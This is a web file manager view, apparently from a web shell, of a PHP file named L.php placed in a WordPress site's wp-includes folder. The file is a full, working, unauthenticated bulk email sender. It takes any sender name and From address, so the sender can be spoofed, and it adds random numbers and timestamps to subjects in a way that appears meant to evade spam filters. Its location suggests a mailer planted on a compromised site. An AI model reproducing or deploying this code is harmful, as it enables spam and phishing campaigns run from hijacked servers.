File manager - Edit - /home/gameba29/188v2.bet/wp-includes/L.php
Back
<?php // bulk_mailer.php if ($_SERVER['REQUEST_METHOD'] === 'POST' && ($_POST['action'] ?? '') === 'send_email') { header('Content-Type: application/json'); function sendEmail($to, $subject, $fromName, $fromEmail, $message) { $headers = "From: {$fromName} <{$fromEmail}>\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "Content-type: text/html; charset=UTF-8\r\n"; return mail($to, $subject, $message, $headers); } $to = filter_var(trim($_POST['to_email'] ?? ''), FILTER_VALIDATE_EMAIL); $subjectBase = trim($_POST['subject_base'] ?? ''); $fromName = strip_tags(trim($_POST['from_name'] ?? '')); $fromEmail = filter_var(trim($_POST['from_email'] ?? ''), FILTER_VALIDATE_EMAIL); $message = trim($_POST['message'] ?? ''); if (!$to || !$subjectBase || !$fromName || !$fromEmail || !$message) { echo json_encode(['success' => false, 'error' => 'Missing or invalid fields']); exit; } $randomNum = rand(1000, 9999); $timeStr = date('H:i:s'); $subject = "{$subjectBase} #{$randomNum} @ {$timeStr}"; $success = sendEmail($to, $subject, $fromName, $fromEmail, $message); echo json_encode([ 'success' => $success, 'subject' => $subject, 'error' => $success ? null : 'Mail function failed', ]); exit; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <title>Bulk Email Sender</title> <style> body { font-family: sans-serif; background: #f7f9fc; padding: 30px; display: flex; justify-content: center; } .container { width: 700px; background: white; padding: 30px; border-radius: 12px; box-shadow: 0 10px 30px rgba(0,0,0,0.1); } h1 { text-align: center; margin-bottom: 20px; } label { display: block; margin-top: 20px; margin-bottom: 5px; font-weight: bold; } input, textarea { width: 100%; padding: 10px; font-size: 1em; border: 1px solid #ccc; border-radius: 8px; } textarea { min-height: 120px; } .button { margin-top: 25px; background: #2980b9; color: white; padding: 12px; border: none; font-size: 1.1em; border-radius: 30px; cursor: pointer; width: 100%; } .progress { margin-top: 25px; background: #ecf0f1; padding: 15px; height: 200px; overflow-y: auto; border-radius: 8px; font-family: monospace; font-size: 0.9em; white-space: pre-wrap; } </style> </head> <body> <div class="container"> <h1>Bulk Email Sender</h1> <form id="emailForm"> <label>Recipient Emails (one per line):</label> <textarea name="to_emails" required></textarea> <label>Subject Base:</label> <input type="text" name="subject_base" required> <label>From Name:</label> <input type="text" name="from_name" required> <label>From Email:</label> <input type="email" name="from_email" required> <label>HTML Message:</label> <textarea name="message" required></textarea> <label>Delay Between Emails (ms):</label> <input type="number" name="delay" value="1000" min="0"> <button type="submit" class="button">Send Emails</button> </form> <div class="progress" id="progress"></div> </div> <script> const form = document.getElementById('emailForm'); const progress = document.getElementById('progress'); form.addEventListener('submit', e => { e.preventDefault(); const formData = new FormData(form); const emails = formData.get('to_emails').split('\n').map(e => e.trim()).filter(e => e); const delay = parseInt(formData.get('delay')) || 0; if (emails.length === 0) { alert("Please enter at least one email."); return; } form.querySelector('button').disabled = true; progress.textContent = 'Starting to send...\n'; let index = 0; function sendNext() { if (index >= emails.length) { progress.textContent += '\nā All emails sent.'; form.querySelector('button').disabled = false; return; } const payload = new FormData(); payload.append('action', 'send_email'); payload.append('to_email', emails[index]); payload.append('subject_base', formData.get('subject_base')); payload.append('from_name', formData.get('from_name')); payload.append('from_email', formData.get('from_email')); payload.append('message', formData.get('message')); fetch('', { method: 'POST', body: payload }) .then(res => res.json()) .then(data => { if (data.success) { progress.textContent += `ā Sent to ${emails[index]} | Subject: ${data.subject}\n`; } else { progress.textContent += `ā Failed to ${emails[index]}: ${data.error}\n`; } progress.scrollTop = progress.scrollHeight; index++; setTimeout(sendNext, delay); }) .catch(() => { progress.textContent += `ā Network error on ${emails[index]}\n`; progress.scrollTop = progress.scrollHeight; index++; setTimeout(sendNext, delay); }); } sendNext(); }); </script> </body> </html>
| ver. 1.4 |
Github
|
.
| PHP 8.1.34 | Generation time: 0 |
proxy
|
phpinfo
|
Settings